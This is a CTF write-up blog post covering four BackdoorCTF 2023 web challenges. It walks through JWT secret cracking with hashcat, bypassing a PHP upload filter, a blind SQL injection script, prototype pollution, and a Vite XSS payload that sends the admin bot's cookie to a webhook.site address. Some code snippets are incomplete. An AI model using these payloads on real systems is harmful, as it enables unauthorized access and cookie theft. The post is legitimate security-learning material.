Jax Dunfee

BackdoorCTF 2023 Web Challenge Writeups
A collection of my Writeups for BackdoorCTF 2023 web challenges.
December 19, 2023

Happy Holidays! This is a collection of my write-ups for BackdoorCTF 2023, this CTF was interesting as it seemed that challenges kept getting added throughout the CTF. But it made for a very competitive CTF, and I had a lot of fun playing it.

After holding 3rd for a solid amount of time, we ended up placing 13th out of 787 teams. I’m still very happy with that, and I’m looking forward to the next CTF!


Madara attacked leaf village. everyone wants Naruto to turn into Nine-Tails, Naruto don’t know what’s the SECRET to change its role to ‘NineTails’? can you as a shinobi help Naruto??? username: Naruto Password: Chakra

We are given a very simple webpage with a username and password fields. Trying the credentials from the description allows us to log in, and we are greeted with a webpage with two links, one to page called “secret_of_naruto” and the other beinf “secret_of_kuruma”. We’re allowed to access the first page, but the second page gives us the message “you aren’t worthy to know Kurama’s Secret”.

Checking the pages cookies, we can see jwt_token. This is a JSON Web Token, and we can decode it using jwt.io. We can see that the token has a field called username with the value Naruto. And a field called role with the value shinobi.

    "username": "Naruto",
    "role": "shinobi"

To change the role to ninetails, it’s unfortunatley not as simple as changing the value as we must first break the SHA256 that is used to sign the token. We can use hashcat to do this with rockyou.

hashcat -a 0 -m 16500 jwt.txt ~/Tools/rockyou.txt

This give us eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ik5hcnV0byIsInJvbGUiOiJzaGlub2JpIn0.WJv_YcVsRV15PqzGpq10-w5i2mJ_BI1mBzkZMtAPnIQ:minato

We can now change the token to this, and we can see that we are now able to access the secret_of_kuruma page. This page gives us the flag.



I hate PHP, and I know you hate PHP too. So, to irritate you, here is your PHP webapp. Go play with it

At the top of the file, we have a jumble of code that looks like this:

<?php $allowedExtensions=['jpg','jpeg','png'];$errorMsg='';if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_FILES['file'])&&isset($_POST['name'])){$userName=$_POST['name'];$uploadDir='uploaded/'.generateHashedDirectory($userName).'/';if(!is_dir($uploadDir)){mkdir($uploadDir,0750,true);}$uploadedFile=$_FILES['file'];$fileName=$uploadedFile['name'];$fileTmpName=$uploadedFile['tmp_name'];$fileError=$uploadedFile['error'];$fileSize=$uploadedFile['size'];$fileExt=strtolower(pathinfo($fileName,PATHINFO_EXTENSION));if(in_array($fileExt,$allowedExtensions)&&$fileSize<200000){$fileName=urldecode($fileName);$fileInfo=finfo_open(FILEINFO_MIME_TYPE);$fileMimeType=finfo_file($fileInfo,$fileTmpName);finfo_close($fileInfo);$allowedMimeTypes=['image/jpeg','image/jpg','image/png'];$fileName=strtok($fileName,chr(7841151584512418084));if(in_array($fileMimeType,$allowedMimeTypes)){if($fileError===UPLOAD_ERR_OK){if(move_uploaded_file($fileTmpName,$uploadDir.$fileName)){chmod($uploadDir.$fileName,0440);echo"File uploaded successfully. <a href='$uploadDir$fileName' target='_blank'>Open File</a>";}else{$errorMsg="Error moving the uploaded file.";}}else{$errorMsg="File upload failed with error code: $fileError";}}else{$errorMsg="Don't try to fool me, this is not a png file";}}else{$errorMsg="File size should be less than 200KB, and only png, jpeg, and jpg are allowed";}}function generateHashedDirectory($userName){$randomSalt=bin2hex(random_bytes(16));$hashedDirectory=hash('sha256',$userName.$randomSalt);return $hashedDirectory;}?>

This is a mess, but we can see that it’s checking the file extension, and the mime type. We can also see that it’s checking the file size, and that it’s checking the file name.

Though, there was a line that caught my eye:


chr(7841151584512418084) will turn into “$” when run, so this line is just removing everything after the first “$” in the file name. This means that we can upload a file with a name like test.php$.png and it will be a valid upload.

We can then read the flag with: cat ../../ s0_7h15_15_7h3_fl496_y0u_ar3_54rch1n9_f0r.txt



Too many admins spoil the broth. Can you login as the right admin and get the flag ?

We are provided source code for the challenge, a php file and a database in a .sql file.

SQL Injection is the first thing that comes to mind, and we can see that the query is not parameterized.

$query = "SELECT username, password, bio FROM users where username = '$userParam' ";

Looking at the hashes themselves, we can see multiple start with 0e. In PHP when comparing hashes using loose comparison (using == NOT ===) a string starting with 0e followed by digits is interpreted as a scientific notation number when involved in a non-strict comparison. In scientific notation, 0e followed by any number is equivalent to 0.

For example, if you have two different strings whose MD5 hashes start with 0e and are followed only by numbers, PHP will consider these hashes as equal when compared using ==. This is because both are interpreted as 0 in scientific notation.


$hash1 = '0e123456789'; // Interpreted as 0 in scientific notation
$hash2 = '0e987654321'; // Also interpreted as 0 in scientific notation

if ($hash1 == $hash2) {
    echo "The hashes are equal."; // This will be printed
} else {
    echo "The hashes are not equal.";

In the above example, even though $hash1 and $hash2 are different strings, the comparison == results in them being treated as equal.

We can make a script to brute force the hashes, and we can see that the hash for admin343 starts with 0e and is followed by only numbers. This means that we can log in as admin343 if we can find the password.

import requests
import string 

dict = string.ascii_lowercase + string.ascii_uppercase + string.digits + "{"+"}" + "_"
j = 0
while True:
    j += 1
    for i in range(0,255):
        a = f"admin343' and {i}=ascii(substr(bio,{j},1));#"
        b ='a'
        url = ""
        burp0_data = {"username": a, "password": b}
        if "Wrong password" in r.text:
            flag = flag + str(chr(i))


Can you break my emerging note making app? It is still in beta. I have a feeling that it is not secure enough.

I ended up solving this challenge after the CTF ended. From a glance, it’s pretty obvious that his challenge is either XSS and/or Prototype Pollution due to the fact that there is an admin bot.

We are provided source, and can see that the bot sets the flag as it’s cookie meaning we need to find a way to exfiltrate the cookie.

import puppeteer from 'puppeteer-core';

const CONFIG = {
    APPURL: process.env['APPURL'] ,
    APPURLREGEX: process.env['APPREGEX'] ,
    APPFLAG: process.env['APPFLAG'],

const initBrowser = puppeteer.launch({
    executablePath: "/usr/bin/google-chrome",
    headless: 'new',
    args: [
    ipDataDir: '/home/bot/data/',
    ignoreHTTPSErrors: true

console.log("Bot started...");

const name = CONFIG.APPNAME
 const urlRegex = CONFIG.APPURLREGEX

const bot =  async (urlToVisit) => {
        const browser = await initBrowser;
        const context = await browser.createIncognitoBrowserContext()
        try {
            // Goto main page
            const page = await context.newPage();

            // Set Flag
            await page.setCookie({
                name: "flag",
                httpOnly: false,
                value: CONFIG.APPFLAG,
                url: CONFIG.APPURL

            // Visit URL from user
            console.log(`bot visiting ${urlToVisit}`);
            await page.goto(urlToVisit, {
                waitUntil: 'networkidle2'
            await new Promise(resolve => setTimeout(resolve, 5000));

            // Close
            console.log("browser close...");
            await context.close();
            return true;
        } catch (e) {
            await context.close();
            return false;
export { bot, urlRegex, name}

Unfortunately, we can’t make notes as when we try to do so “Sorry only admin can make notes at the moment. Inconvenience is regretted.” is displayed.

This threw me off for a while, but I eventually realized that there is an odd check for isAdmin. I instantly knew it was prototype pollution.

export  function  duplicate(body) {
	let  obj={}
	let  keys  =  Object.keys(body);
	keys.forEach((key) => {
		if(key  !==  "isAdmin")
	return  obj;

By adding isAdmin is true to out note, we can make notes. We can then make a note with the following body:

	"__proto__": {
		"isAdmin": true
	"message":"Your note...sadasd"

This allowed us to create our note, however we still need to exfiltrate the cookie. This required more source reviewing, till noticing that the version of vite.js being used was vulnerable to XSS.

This XSS stems from Vite’s server.transformIndexHtml function, which, when manually invoked, passes the original request URL unmodified. If the HTML being transformed contains inline module scripts (<script type="module">...</script>), we can inject arbitrary HTML by crafting a malicious URL query string."></script><script>window.location.href=`https://webhook.site/7f71492e-bc08-4991-83c8-adb019525d48/?cookie=${document.cookie}`</script>

Submitting this to the Admin Bot, we get the flag.